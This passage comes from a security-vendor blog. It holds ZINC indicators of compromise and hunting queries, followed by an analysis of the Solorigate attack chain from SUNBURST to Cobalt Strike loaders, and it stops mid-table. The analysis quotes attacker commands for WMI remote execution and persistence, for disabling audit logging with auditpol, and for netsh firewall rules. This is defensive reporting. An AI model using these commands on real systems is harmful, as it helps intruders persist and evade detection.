  • 9d5320e883264a80ea214077f44b1d4b22155446ad5083f4b27d2ab5bd127ef5
  • 9fd05063ad203581a126232ac68027ca731290d17bd43b5d3311e8153c893fe3
  • ada7e80c9d09f3efb39b729af238fcdf375383caaf0e9e0aed303931dc73b720
  • edb1597789c7ed784b85367a36440bf05267ac786efe5a4044ec23e490864cee
  • 33665ce1157ddb7cd7e905e3356b39245dfba17b7a658bdbf02b6968656b9998
  • 3ab770458577eb72bd6239fe97c35e7eb8816bce5a4b47da7bd0382622854f7c
  • b630ad8ffa11003693ce8431d2f1c6b8b126cd32b657a4bfa9c0dbe70b007d6c
  • 53f3e55c1217dafb8801af7087e7d68b605e2b6dde6368fceea14496c8a9f3e5
  • 99c95b5272c5b11093eed3ef2272e304b7a9311a22ff78caeb91632211fcb777
  • f21abadef52b4dbd01ad330efb28ef50f8205f57916a26daf5de02249c0f24ef
  • 2cbdea62e26d06080d114bbd922d6368807d7c6b950b1421d0aa030eca7e85da
  • 079659fac6bd9a1ce28384e7e3a465be4380acade3b4a4a4f0e67fd0260e9447
  • 0b9133bc24593a358c0471da4aa9c7479270dab93c0941e5132af6ba177c5228

Host IOCs

Comebacker Visual Studio Project file execution

Rundll32.exe dxgkrnl_poc.vcxproj.suo,CMS_dataFinal Bx9yb37GEcJNK6bt 4231

Comebacker file names and exported function name

Note that the file name was often changed and these names shouldn’t be considered a definitive list:

  • Browse.vc.db,ENGINE_get_RAND
  • NVIDIA.bin,SSL_HandShaking
  • adobe.bin,SSL_HandShaking
  • USOShared.bin,ntWindowsProc
  • update.dat,SetWebFilterString
  • update.bin,CleanupBrokerString
  • ntuser.db,glInitSampler
  • RdrCEF.bin,json_object_get_unicode_string
  • update.bin,ASN2_TYPE_new
  • USO.DAT,deflateSuffix
  • USO.DAT,cmsSetLogHandlerTHR
  • USO.DAT,sql_blob_open
  • localdb.db,ntSystemInfo

Registry Key

  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update

File path

Klackring

This malware was deployed as a .sys file in C:\windows\system32\

  • C:\Windows\System32\helpsvc.sys
  • C:\Windows\System32\Irmon.sys
  • C:\Windows\System32\LogonHours.sys
  • C:\Windows\System32\Ntmssvc.sys
  • C:\Windows\System32\NWCWorkstation.sys
  • C:\Windows\System32\Nwsapagent.sys
  • C:\Windows\System32\PCAudit.sys
  • C:\Windows\System32\uploadmgr.sys

Generic folders and file paths for malware and tooling

These are folders and file paths that have been used by ZINC for malware and tools but may be used by other actors or produce false positives.

Look for .bin, .db, .dat, and .cpl files in the following folders, USOShared was most used across victims:

  • C:\ProgramData\USOShared\
  • C:\ProgramData\Adobe\
  • C:\ProgramData\Mozilla\
  • C:\ProgramData\NVIDIA\
  • C:\ProgramData\Oracle\
  • C:\ProgramData\VirtualBox\

Check these file paths for additional malware and tooling:

  • C:\MSCache\msomui.dat
  • C:\MSCache\local.cpl
  • C:\ProgramData\ntuser.db
  • C:\ProgramData\ntuser.ini
  • C:\ProgramData\taskhost.exe
  • C:\ProgramData\Adobe\get.exe
  • C:\ProgramData\Adobe\ARM\AdobeUpdate.exe
  • C:\ProgramData\Mozilla\update.bin
  • C:\ProgramData\NVIDIA\graphicscheck.exe
  • C:\ProgramData\NVIDIA\NVIDIA.bin
  • C:\ProgramData\Oracle\java.db
  • C:\ProgramData\Oracle\java.cpl
  • C:\ProgramData\USOShared\Search.bin
  • C:\Windows\netsvc.exe
  • C:\Windows\system32\kjchost.dll
  • C:\Windows\System32\traextapi.dll
  • C:\Windows\System32\healthextapi.dll
  • C:\Windows\System32\detaextapi.dll
  • C:\Windows\Temp\ads.tmp
  • C:\windows\Temp\CA_Root.pfx
  • C:\Recovery\recover.bin
  • C:\Recovery\re.bin

Advanced hunting queries

To locate possible exploitation activity related to the contents of this blog, you can run the following advanced hunting queries via Microsoft Defender for Endpoint:

Command and control

Look for backdoor establishing network connections to command and control. Run query in Microsoft Defender for Endpoint

DeviceNetworkEvents 
| where RemoteUrl in~('codevexillium.org',
'angeldonationblog.com',
'investbooking.de',
'krakenfolio.com')

Execution

Look for PowerShell launched from MSBUILD with the related commands. Run Query in Microsoft Defender for Endpoint

DeviceProcessEvents
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has "is64bitoperatingsystem" 
and ProcessCommandLine has "Debug\\Browse"

Malicious files

Look for the presence of malicious files related to this threat. Run the below query in Microsoft Defender for Endpoint

DeviceFileEvents
| where SHA256 in~(
// Malicious Visual Studio .vcxproj files
'0ac5c8ad0c2ddef4d41724acac586ffabcc92ab9d4906a4fc4a1ff2ec2feec7c',
'1cc60cb1e08779ff140dfbb4358a7c2587ba58ad2f1f23343b9efb51bb25aaed',
'5024f199836692fe428aef3d41a561448632e9cbab954f842ef300573600423d',
'98a6e0c8b8ec4dbbc3ef21308ec04912fa38e84828cedad99e081d588811ba5e',
'd02752aadc71fafa950a6a51b1298dc914e81d20f95a86b12ee07cd2d2a85711',
// Comebacker Malware
'0acf21fba2b46ad2dd9c0da887f0fda704e7a5569b735c288d43a57688eb53fa',
'133280e985448a3cfa8906830af137634c4657740a8c7209a368c5a0d0b3dabf',
'25d8ae4678c37251e7ffbaeddc252ae2530ef23f66e4c856d98ef60f399fa3dc',
'284df008aa2459fd1e69b1b1c54fb64c534fce86d2704c4d4cc95d72e8c11d6f',
'34e13e2efb336fbe8202ca931a496aa451cf554450806b63d25a57a627e0fb65',
'39ad9ae3780c2f6d41b1897e78f2b2b6d549365f5f024bc68d1fe794b940f9f1',
'4c3499f3cc4a4fdc7e67417e055891c78540282dccc57e37a01167dfe351b244',
'68e6b9d71c727545095ea6376940027b61734af5c710b2985a628131e47c6af7',
'80a19caf4cfc9717d449975f98a157d0a483bf48a05e3b6f7a9b204faa8c35d1',
'88aeaff0d989db824d6e9429cd94bc22bbbfc39775c0929e703343798f69e9cc',
'913871432989378a042f5023351c2fa2c2f43b497b75ef2a5fd16d65aa7d0f54',
'ca48fa63bd603c74ab02841fc6b6e90c29a9b740232628fadafa923d2833a314',
'd0678fe8c92912698c4b9d4d03d83131e16d8b219ccf373fa847da476788785b',
'5815103140c68614fd7fc05bad540e654a37b81b7e451e213128f2eff081005a',
'e413e8094d76061f094f8b9339d00d80514065f7d37c184543c0f80c5d51bd80',
'c23f50c8014c190afa14b4c2c9b85512fb3a75405652c9b6be1401f678295f36',
'a75886b016d84c3eaacaf01a3c61e04953a7a3adf38acf77a4a2e3a8f544f855',
// Klackring Malware
'0acf21fba2b46ad2dd9c0da887f0fda704e7a5569b735c288d43a57688eb53fa',
'16ad21aedf8f43fcedaa19dbd4f4fda0f3fec0517662b99a3054dac6542ab865',
'1d9a58bc9b6b22fb3e3099996dbab13bfc5258b8307026f66fa69729d40f2b13',
'4bfeb22ec438cf7ed8a7fefe6e7f321d842ad6ade0ca772732d1a757177e7ad7',
'6b3a693d391426182fc2944d14b0816cdf1e5f87c13d6eb697756f9577b0bcee',
'70e1f774c0c80e988641d709d3a6990193e039b1ce618ceaacc1d61a850e9b76',
'77a9a0f67d09cafaf05ee090483a64622a7a04dfe226763f68651b071c1802f2',
'8d85e31de2623538a42a211e3919d5602f99dc80f21e0c5f99d53838b2b07063',
'90b4bd609b84c41beeed5b9310f2d84de83c74aaecfd1facc02e278be5059110',
'9c90bbe4b61136d94170e90c299adab0d1ccbc3a8f71519799dd901d742f3561',
'9f23069f74d0fb09823ad7f46f338d7920a731622404a7754df36ffbc40f8744',
'a1c4c617d99d10bbb2524b4d5bfdcf00f47d9cf39e8c7d3e6a9ce1219393da5a',
'a4fb20b15efd72f983f0fb3325c0352d8a266a69bb5f6ca2eba0556c3e00bd15',
'aa5264323755a7dfa7c39ada09224c8c1de03ec8aeb6f7b216a56e8475e5f547',
'aeb6fb0ba6d947b4ee67a5111fbdf798c4488377ae28bdf537c1f920a58785b7',
'b47969e73931546fdcfb1e69c43da911dc9f7bb8d0e211731a253b572ecdc4fe',
'bc19a9415428973d65358291d604d96a0915a01d4b06939269b9e210f23aad43',
'c5d13324100047d7def82eeafdb6fc98cc2ccfae56db66ada9f1c3c7429ef9cb',
'dcc986c48c9c99c012ae2b314ac3f2223e217aee2ccdfb733cbbdaea0b713589',
'e8cf9b04ba7054e1c34bda05106478f9071f8f6569b4822070834abbf8e07a95',
'b32319da446dcf83378ab714f5ad0229dff43c9c6b345b69f1a397c951c1122e',
'11fef660dec27474c0c6c856a7b4619155821fdd1ce404848513a2700be806a5',
'9e562cc5c3eb48a5f1a1ccd29bf4b2ff4ab946f45aa5d8ea170f69104b684023',
// viaglt64.sys – Vulnerable Vir.IT driver for CVE-2017-16238
'58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495'
// Other potentially related malware and tools
'e0e59bfc22876c170af65dcbf19f744ae560cc43b720b23b9d248f4505c02f3e',
'3d3195697521973efe0097a320cbce0f0f98d29d50e044f4505e1fbc043e8cf9',
'0a2d81164d524be7022ba8fd4e1e8e01bfd65407148569d172e2171b5cd76cd4',
'96d7a93f6691303d39a9cc270b8814151dfec5683e12094537fd580afdf2e5fe',
'dc4cf164635db06b2a0b62d313dbd186350bca6fc88438617411a68df13ec83c',
'46efd5179e43c9cbf07dcec22ce0d5527e2402655aee3afc016e5c260650284a',
'95e42a94d4df1e7e472998f43b9879eb34aaa93f3705d7d3ef9e3b97349d7008',
'9d5320e883264a80ea214077f44b1d4b22155446ad5083f4b27d2ab5bd127ef5',
'9fd05063ad203581a126232ac68027ca731290d17bd43b5d3311e8153c893fe3',
'ada7e80c9d09f3efb39b729af238fcdf375383caaf0e9e0aed303931dc73b720',
'edb1597789c7ed784b85367a36440bf05267ac786efe5a4044ec23e490864cee',
'33665ce1157ddb7cd7e905e3356b39245dfba17b7a658bdbf02b6968656b9998',
'3ab770458577eb72bd6239fe97c35e7eb8816bce5a4b47da7bd0382622854f7c',
'b630ad8ffa11003693ce8431d2f1c6b8b126cd32b657a4bfa9c0dbe70b007d6c',
'53f3e55c1217dafb8801af7087e7d68b605e2b6dde6368fceea14496c8a9f3e5',
'99c95b5272c5b11093eed3ef2272e304b7a9311a22ff78caeb91632211fcb777',
'f21abadef52b4dbd01ad330efb28ef50f8205f57916a26daf5de02249c0f24ef',
'2cbdea62e26d06080d114bbd922d6368807d7c6b950b1421d0aa030eca7e85da',
'079659fac6bd9a1ce28384e7e3a465be4380acade3b4a4a4f0e67fd0260e9447')

To learn more about Microsoft Security solutions visit our website.  Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post ZINC attacks against security researchers appeared first on Microsoft Security.

Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop

January 20th, 2021 No comments

More than a month into the discovery of Solorigate, investigations continue to unearth new details that prove it is one of the most sophisticated and protracted intrusion attacks of the decade. Our continued analysis of threat data shows that the attackers behind Solorigate are skilled campaign operators who carefully planned and executed the attack, remaining elusive while maintaining persistence. These attackers appear to be knowledgeable about operations security and performing malicious activity with minimal footprint. In this blog, we’ll share new information to help better understand how the attack transpired. Our goal is to continue empowering the defender community by helping to increase their ability to hunt for the earliest artifacts of compromise and protect their networks from this threat.

We have published our in-depth analysis of the Solorigate backdoor malware (also referred to as SUNBURST by FireEye), the compromised DLL that was deployed on networks as part of SolarWinds products, that allowed attackers to gain backdoor access to affected devices. We have also detailed the hands-on-keyboard techniques that attackers employed on compromised endpoints using a powerful second-stage payload, one of several custom Cobalt Strike loaders, including the loader dubbed TEARDROP by FireEye and a variant named Raindrop by Symantec.

One missing link in the complex Solorigate attack chain is the handover from the Solorigate DLL backdoor to the Cobalt Strike loader. Our investigations show that the attackers went out of their way to ensure that these two components are separated as much as possible to evade detection. This blog provides details about this handover based on a limited number of cases where this process occurred. To uncover these cases, we used the powerful, cross-domain optics of Microsoft 365 Defender to gain visibility across the entire attack chain in one complete and consolidated view.

We’ll also share our deep dive into additional hands-on-keyboard techniques that the attackers used during initial reconnaissance, data collection, and exfiltration, which complement the broader TTPs from similar investigative blogs, such as those from FireEye and Volexity.

The missing link: From the Solorigate backdoor to Cobalt Strike implants

An attack timeline that SolarWinds disclosed in a recent blog showed that a fully functional Solorigate DLL backdoor was compiled at the end of February 2020 and distributed to systems sometime in late March.  The same blog also said that the attackers removed the Solorigate backdoor code from SolarWinds’ build environment in June 2020.

Considering this timeline and the fact that the Solorigate backdoor was designed to stay dormant for at least two weeks, we approximate that the attackers spent a month or so in selecting victims and preparing unique Cobalt Strike implants as well as command-and-control (C2) infrastructure. This approximation means that real hands-on-keyboard activity most likely started as early as May.

The removal of the backdoor-generation function and the compromised code from SolarWinds binaries in June could indicate that, by this time, the attackers had reached a sufficient number of interesting targets, and their objective shifted from deployment and activation of the backdoor (Stage 1) to being operational on selected victim networks, continuing the attack with hands-on-keyboard activity using the Cobalt Strike implants (Stage 2).

Timeline graph showing developments in the Solorigate attack

Figure 1. Timeline of the protracted Solorigate attack

But how exactly does this jump from the Solorigate backdoor (SUNBURST) to the Cobalt Strike loader (TEARDROP, Raindrop, and others) happen? What code gets triggered, and what indicators should defenders look for?

Figure 2. Diagram of transition between Stage 1 and Stage 2 of the Solorigate attack

Sophisticated attackers like those behind Solorigate have a goal of expansion and stealthy persistence to maximize the amount of time they can remain undetected and collect valuable information. It’s important for organizations to be able to look at forensic data across their entire environment to see how far attackers have traversed the network and how long they were there, in order to have confidence that attacks have been properly remediated from the environment. The best way to do that is with an extended detection and response (XDR) solution that enables organizations to replay past events to look for activity that might reveal the presence of an attacker on the network. Affected organizations without an XDR solution like Microsoft 365 Defender in place will have a difficult job of performing incident response.

What we found from our hunting exercise across Microsoft 365 Defender data further confirms the high level of skill of the attackers and the painstaking planning of every detail to avoid discovery. To illustrate, the following diagram shows the entry vector attack chain at a glance:

Figure 3. Transition from Solorigate backdoor to Cobalt Strike

We spent countless hours investigating Microsoft Defender telemetry and other signals from potential patient-zero machines running the backdoored version of SolarWinds DLL. Most of these machines communicated with the initial randomly generated DNS domain .avsvmcloud.com but without significant activity (step #1). However, we saw limited cases in May and June where the initial DNS network communication was closely followed by network activity on port 443 (HTTPS) to other legit-looking domains (step #7). On these handful of machines, we performed deep inspection of telemetry.

We know that the Solorigate backdoor only activates for certain victim profiles, and when this happens, the executing process (usually SolarWinds.BusinessLayerHost.exe) creates two files on disk (step #2):

  • A VBScript, typically named after existing services or folders to blend into legitimate activities on the machine
  • A second-stage DLL implant, a custom Cobalt Strike loader, typically compiled uniquely per machine and written into a legitimate-looking subfolder in %WinDir% (e.g., C:\Windows)

At this point the attackers are ready to activate the Cobalt Strike implant. However, the attackers apparently deem the powerful SolarWinds backdoor too valuable to lose in case of discovery, so they tried to separate the Cobalt Strike loader’s execution from the SolarWinds process as much as possible. Their hope is that, even if they lose the Cobalt Strike implant due to detection, the compromised SolarWinds binary and the supply chain attack that preceded it are not exposed.

The attackers achieved this by having the SolarWinds process create an Image File Execution Options (IFEO) Debugger registry value for the process dllhost.exe (step #3). This is a known MITRE ATT&CK technique used for persistence, but it could also be abused to trigger execution of malicious code when a certain process is launched. Once the registry value is created, the attackers simply wait for the occasional execution of dllhost.exe, which might happen naturally on a system. This execution triggers a process launch of wscript.exe configured to run the VBScript file dropped in step #4.

The VBScript in turn runs rundll32.exe, activating the Cobalt Strike DLL (step #5) using a clean parent/child process tree completely disconnected from the SolarWinds process. Finally, the VBScript removes the previously created IFEO value to clean up any traces of execution (step #6) and also deletes the following registry keys related to HTTP proxy:

  • HKEY_CURRENT_USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoDetect
  • HKEY_CURRENT_USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL

Analyzing the custom Cobalt Strike loaders

In our investigation, we identified several second-stage malware, including TEARDROP, Raindrop, and other custom loaders for the Cobalt Strike beacon. During the lateral movement phase, the custom loader DLLs are dropped mostly in existing Windows sub-directories. Below are some example paths (additional paths are listed at the end of this blog):

  • C:\Windows\ELAMBKUP\WdBoot.dll
  • C:\Windows\Registration\crmlog.dll
  • C:\Windows\SKB\LangModel.dll
  • C:\Windows\AppPatch\AcWin.dll
  • C:\Windows\PrintDialog\appxsig.dll
  • C:\Windows\Microsoft.NET\Framework64\sbscmp30.dll
  • C:\Windows\Panther\MainQueueOnline.dll
  • C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\msbuild.dll
  • C:\Windows\LiveKernelReports\KerRep.dll

The files have names that resemble legitimate Windows file and directory names, once again demonstrating how the attackers attempted to blend in the environment and hide in plain sight:

Legitimate Windows file/directory Malicious custom loader
C:\Windows\ELAMBKUP\WdBoot.sys C:\Windows\ELAMBKUP\WdBoot.dll
C:\Windows\Registration\CRMLog C:\Windows\Registration\crmlog.dll
C:\Windows\SKB\LanguageModels C:\Windows\SKB\LangModel.dll
C:\Windows\AppPatch\AcRes.dll C:\Windows\AppPatch\AcWin.dll
C:\Windows\PrintDialog\appxsignature.p7x C:\Windows\PrintDialog\appxsig.dll
C:\Windows\Microsoft.NET\Framework64\sbscmp10.dll C:\Windows\Microsoft.NET\Framework64\sbscmp30.dll
C:\Windows\Panther\MainQueueOnline0.que C:\Windows\Panther\MainQueueOnline.dll
C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\msbuild.dll

TEARDROP, Raindrop, and the other custom Cobalt Strike Beacon loaders observed during the Solorigate investigation are likely generated using custom Artifact Kit templates. Each custom loader loads either a Beacon Reflective Loader or a preliminary loader that subsequently loads the Beacon Reflective Loader. Reflective DLL loading is a technique for loading a DLL into a process memory without using the Windows loader.

Figure 4. Structure of the two variants of Cobalt Strike Beacon loaders observed in Solorigate attacks

In the succeeding sections, we discuss the Cobalt Strike Beacon variants we observed in our Solorigate investigations.

Variant 1: TEARDROP

To date, Microsoft has analyzed two versions of the second-stage custom Cobalt Strike Beacon loader known as TEARDROP (detected as Trojan:Win64/Solorigate.SA!dha by Microsoft):

  • A service DLL (loaded by exe) with a ServiceMain function typically named NetSetupServiceMain
  • A standard non-Service DLL loaded by exe

Irrespective of the loading methodology, both versions have an export function that contains the trigger for the malicious code. The malicious code is executed in a new thread created by the export function. Upon execution, the malicious code attempts to open a file with a .jpg extension (e.g., festive_computer.jpg, upbeat_anxiety.jpg, gracious_truth.jpg, and confident_promotion.jpg). Further analysis is required to determine the purpose and role of the .jpg file referenced by each sample. The code also checks the presence of the Windows registry key SOFTWARE\Microsoft\CTF and terminates if the registry key is present or accessible. Next, the code proceeds to decode and subsequently execute an embedded custom preliminary loader.

Figure 5. Structure of Variant 1 custom loader

The preliminary loader used by this variant of custom loader is typically generated using a Cobalt Strike Artifact Kit template (e.g., bypass-pipe.c):

Figure 6. Disassembled function from the preliminary loader compiled from Artifact Kit’s bypass-pipe.c template

In its true form, the custom Artifact Kit-generated preliminary loader is a DLL that has been transformed and loaded like shellcode in memory. The preliminary loader is responsible for loading the next-stage component, which is a Beacon Reflective Loader/DLL (Cobalt Strike Beacon is compiled as a reflective DLL). The Reflective Loader ultimately initializes and executes Beacon in memory.

Variant 2: Additional custom loaders

In our investigations, we came across additional custom loaders for Cobalt Strike’s Beacon that appear to be generated using custom Cobalt Strike Artifact Kit templates. Unlike TEARDROP, in which the malicious code is triggered by an export function, the malicious code in these variants is triggered directly from the DLL’s entry point, which creates a new thread to execute the malicious code. These Variant 2 custom loaders also contain an attacker-introduced export (using varying names) whose only purpose is to call the Sleep() function every minute.

Figure 7. Example of a custom export function from a Variant 2 loader

Additionally, unlike TEARDROP, these variants do not contain a custom preliminary loader, meaning the loader DLL de-obfuscates and subsequently executes the Cobalt Strike Reflective DLL in memory.

Figure 8. Structure of Variant 2 custom Loader

These custom loaders can be further divided into two types:

  • Type A: A set of large DLLs that decode and load the Cobalt Strike Reflective Loader from the DLL’s DATA section (detected as Trojan:Win64/Solorigate.SC!dha by Microsoft)
  • Type B: A set of smaller DLLs that de-obfuscate and load the Reflective Loader from the DLL’s CODE section (also referred to as Raindrop by Symantec, detected as Trojan:Win64/Solorigate.SB!dha by Microsoft)

Figure 9. Two subtypes of the custom Loader

The ultimate goal of both Type A and B loaders is to de-obfuscate and load a Cobalt Strike Reflective Loader in memory. Type A loaders use a simple rolling XOR methodology to decode the Reflective Loader, while Type B loaders (Raindrop) utilize a combination of the AES-256 encryption algorithm (unique key per sample), LZMA compression, and a single-byte XOR decoding routine to de-obfuscate the embedded Reflective Loader in memory. At the conclusion of the de-obfuscation process, both variants proceed to load the Reflective Loader in memory, which subsequently executes Cobalt Strike Beacon in memory.

Forensic observations about the Solorigate Cobalt Strike loaders

Metadata and timeline analysis of the custom loaders, combined with analysis of the configuration data extracted from each Beacon payload, led to following discoveries:

  • The custom loader DLLs were introduced to compromised systems between the hours of 8:00 AM and 5:00 PM UTC. In one intrusion, the first second-stage custom loader (TEARDROP) was introduced to the environment by BusinessLayerHost.exe at around 10:00 AM UTC.
  • The custom loader DLLs dropped on disk carried compile timestamps ranging from July 2020 to October 2020, while the embedded Reflective DLLs carried compile timestamps ranging from March 2016 to November 2017. The presence of 2016-2017 compile timestamps is likely due to attackers’ usage of custom Malleable C2 profiles with synthetic compile timestamp (compile_time) values. At first glance it would appear as if the actor did not timestamp the compile time of the custom loader DLLs (2020 compile timestamps). However, forensic analysis of compromised systems revealed that in a few cases, the timestamp of the custom loader DLLs’ introduction to systems predated the compile timestamps of the custom loader DLLs (i.e., the DLLs appear to have been compiled at a future date).
  • Both Variant 1 and 2 custom loader DLLs were configured with PE version information that masquerades version information belonging to legitimate applications and files from Windows (e.g., DLL), 7-Zip (e.g., 7z.dll), Far Manager (e.g., Far.dll), LibIntl (e.g., libintl3.dll), and other legitimate applications. The Variant 2 custom loaders were mostly compiled from open-source source code of legitimate applications, such as 7-Zip and Far Manager (i.e., the open-source source code for these applications was modified to add in the malicious code). In some instances, certain development artifacts were left behind in the custom loader samples. For example, the following C++ header (.hpp) path was observed in a loader compiled from a modified Far Manager open-source source code (c:\build\workspace\cobalt_cryptor_far (dev071)\farmanager\far\platform.concurrency.hpp):

Figure 10. File path for a C++ header file (.hpp) observed in custom Cobalt Strike loader samples

  • Each custom loader DLL contains a designated PE export function that either triggers the malicious functionality of the loader (in Variant 1) or calls the Sleep() function (Variant 2). A non-comprehensive list of these PE export function names (one per loader DLL) is included below (note the repeating “Tk” prefix in the export names that can be a useful indicator for hunting purposes):
__GetClasterInf FreeSetupRevoke Tk_GetRootCoords
TkComputeAnchor TkpSetMainMenubar __RtlProjectObj
GetLimitStroke Tk_IntersectTextLayout TkDebugBorder
TkSelPropProc __TkGlobal NetSetupServiceMain
Tk_NameOf3DBorder TkFindStateString TkWinCancelMouseTimer
_XInitImageFuncPtrs RestVirtAlloc Tk_PostscriptImage
TkGetDefaultScreenName TkWinClipboardRender CreateLocalThread
SetTkPrv Tk_QueryAllocMem TkGrabState
XClearWindow CreateProcessTVI Tk_GetElementBox
Tk_SizeOfImage TkpSetKeycodeAndState XCreateBitmapFromData
  • In addition to the attackers dropping the custom loaders in unique locations on each system during the lateral movement phase, most Beacon and Reflective Loader instances discovered during our investigation were configured with a unique C2 domain name, unique Watermark ID, unique PE compile timestamp, PE Original Name (), DNS Idle IP (e.g., 84[.]200[.]70[.]40 , 208[.]67[.]220[.]220, 208[.]67[.]222[.]222, 9[.]9[.]9[.]9, and 8[.]8[.]4[.]4), unique User-Agent and HTTP POST/GET transaction URI, sleep time, and jitter factor. This is notable since no two Beacon instances shared the same C2 domain name, Watermark, or other aforementioned configuration values. Other than certain internal fields, most Beacon configuration fields are customizable via a Malleable C2 profile. If the actor did indeed use custom Malleable C2 profiles, as evidenced in the list above, the profiles varied greatly for Beacon instances used during different lateral movement campaigns within the same network. As mentioned above, each Beacon instance carries a unique Watermark value. Analysis of the Watermark values revealed that all Watermark values start with the number ‘3’, for example:
0x30343131 0x34353633 0x38303535 0x38383238
0x32323638 0x35373331 0x38353138 0x38383430
  • As for post-exploitation artifacts, the observed Beacon instances were configured to use different “spawnto” values, which Cobalt Strike uses to spawn a temporary process and inject its post-exploitation-related components or features into the spawned process. This detail could be valuable for hunting process creation events originated by exe. Below are some example paths used by the observed Beacon instances:
    • %WINDIR%\System32\conhost.exe
    • %WINDIR%\System32\control.exe
    • %WINDIR%\System32\dllhost.exe
    • %WINDIR%\System32\help.exe
    • %WINDIR%\System32\LogonUI.exe
    • %WINDIR%\System32\msiexec.exe
    • %WINDIR%\System32\print.exe
    • %WINDIR%\SysWOW64\audiodg.exe
    • %WINDIR%\SysWOW64\help.exe
    • %WINDIR%\SysWOW64\msiexec.exe
    • %WINDIR%\SysWOW64\msinfo32.exe
    • %WINDIR%\SysWOW64\print.exe
    • %WINDIR%\SysWOW64\WerFault.exe

Additional attacker tactics, anti-forensic behavior, and operational security

As mentioned, the attackers behind Solorigate are skillful and methodic operators who follow operations security (OpSec) best practices to minimize traces, stay under the radar, and avoid detection.

During our in-depth analysis of the attacker’s tactics, techniques, and procedures (TTPs) seen through the lens of Microsoft 365 Defender’s rich telemetry, we observed a few techniques that are worth disclosing to help other defenders better respond to this incident and use hunting tools like Microsoft 365 Defender advanced hunting or Azure Sentinel queries to search for potential traces of past activity.

Some examples of why these attackers stand out for their professional OpSec methodology and anti-forensic behavior are listed below:

  • Methodic avoidance of shared indicators for each compromised host. As discussed in the previous section, each Cobalt Strike DLL implant was prepared to be unique per machine and avoided at any cost overlap and reuse of folder name, file name, export function names, C2 domain/IP, HTTP requests, timestamp, file metadata, config, and child process launched. This extreme level of variance was also applied to non-executable entities, such as WMI persistence filter name, WMI filter query, passwords used for 7-zip archives, and names of output log files. Applying this level of permutations for each individual compromised machine is an incredible effort normally not seen with other adversaries and done to prevent full identification of all compromised assets inside a network or effective sharing of threat intel between victims.
  • Camouflage and blending into the environment. Tools and binaries used by the attackers (e.g., ADFIND legit tool) were always renamed and placed in folders that mimicked existing programs and files already present on a machine. This blending was not just used for files, but for other elements. For example, WMI persistence filters were created with names and queries matching other scripts present in affected organizations.
  • Before running intensive and continued hands-on keyboard activity, the attackers took care of disabling event logging using AUDITPOL and re-enabling it afterward.
  • In a similar way, before running noisy network enumeration activities (such as repeated NSLOOKUP or LDAP queries), the attackers carefully prepared special firewall rules to minimize outgoing packets for certain protocols. The firewall rules were also methodically removed after the network reconnaissance was completed.
  • Lateral movement activities were never executed without preparation. To increase the likelihood that their activities remain undetected, the attackers first enumerated remote processes and services running on the target host and decided to move laterally only after disabling certain security services.
  • We believe that the attackers used timestomping to change timestamps of artifacts and also leveraged professional wiping procedures and tools to complicate finding and recovering of DLL implants from affected environments.

See some of the most interesting and unique TTPs in the table below. In most cases, commands and tools are executed via an intermediate “cmd.exe /C” process launched from the Cobalt Strike main parent process. We are actively working with MITRE to make sure that any novel technique emerging from this incident is documented in future updates of the ATT&CK framework.

Observed attacker behavior Example MITRE ATT&CK
Attackers always ran the TEARDROP implant through rundll32.exe, which is also the main process used in communicating with the C2.

Execution of additional commands from rundll32.exe seemed to be often interleaved with “cmd.exe /C”. This info can be useful for hunting this specific process tree chain as showed in the example.

When the attackers needed to execute more risky actions on objectives (e.g., credential theft, or recon), they spawned an additional dllhost.exe process with no command-line, which is a rare event.

Process-Tree:
rundll32.exe c:\windows\[folder]\[beacon].dll [export]
-> cmd.exe /C
-> [additional command]
T1218.011 | Defense Evasion – Signed Binary Proxy Execution: Rundll32
When executed during lateral movement, rundll32.exe ran through WMIC or Invoke-WMIMethod with “High” integrity level and spawned by WmiPrvSE.exe, which is a rare combination. The Cobalt Strike DLL was likely deleted after completed execution to avoid forensic recovery. Variant 1 (executed from PowerShell as a result of issuing the “remote-exec” Cobalt Strike command):
Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\Windows\[folder]\[beacon].dll [export]’ -ComputerName [target]Variant 2 (executed from rundll32.exe):
wmic /node:[target] process call create “rundll32 c:\windows\[folder]\[beacon].dll [export]”
T1047 | Windows Management Instrumentation (WMI)
A WMI event filter was used to invoke a command-line event consumer at system boot time to  launch a backdoor with rundll32.exe. instance of __eventfilter
{
eventnamespace = “”root\\cimv2″”;
name = “”__timeritem””;
query = “”select * from __instancemodificationevent within 70 where targetinstance isa ‘win32_perfformatteddata_perfos_system’ and targetinstance.systemuptime >= 300 and targetinstance.systemuptime < 400″”;
querylanguage = “”wql””;
};
perm. consumer:
instance of commandlineeventconsumer
{
commandlinetemplate = “”c:\\windows\\system32\\rundll32.exe c:\\windows\\[folder]\\[beacon].dll, [export]””;
executablepath = “”c:\\windows\\system32\\rundll32.exe””;
name = “”setpolicytrace””;
};
Attackers used AUDITPOL to prevent the collection of additional audit logs and evidence trail. auditpol  /GET /category:”Detailed Tracking”

auditpol  /set /category:”Detailed Tracking” /success:disable /failure:disable


[execution of several commands and actions]

auditpol /set /category:”Detailed Tracking” /success:enable /failure:enable

T1562.002 | Defense Evasion – Impair Defenses: Disable Windows Event Logging
Attackers used NETSH to configure firewall rules that limit certain UDP outbound packets (to reduce noise or footprint) before intense recon with NSLOOKUP and ADFIND.

 

netsh  advfirewall firewall add rule name=”[rulename1]” protocol=UDP dir=out localport=137 action=block
netsh  advfirewall firewall add rule name=”[rulename2]” protocol=UDP dir=out localport=53 action=block[execution of several network recon]netsh advfirewall firewall delete rule name=”[rulename1]”netsh advfirewall firewall delete rule name=”[rulename2]”
T1562.004 | Defense Evasion –
Impair Defenses: Disable or Modify System Firewall
Attackers used fsutil to check available free space before executing collection, enumeration, exfiltration, or launching attacks like DCSync which might create large files on disk. fsutil  volume diskfree c:
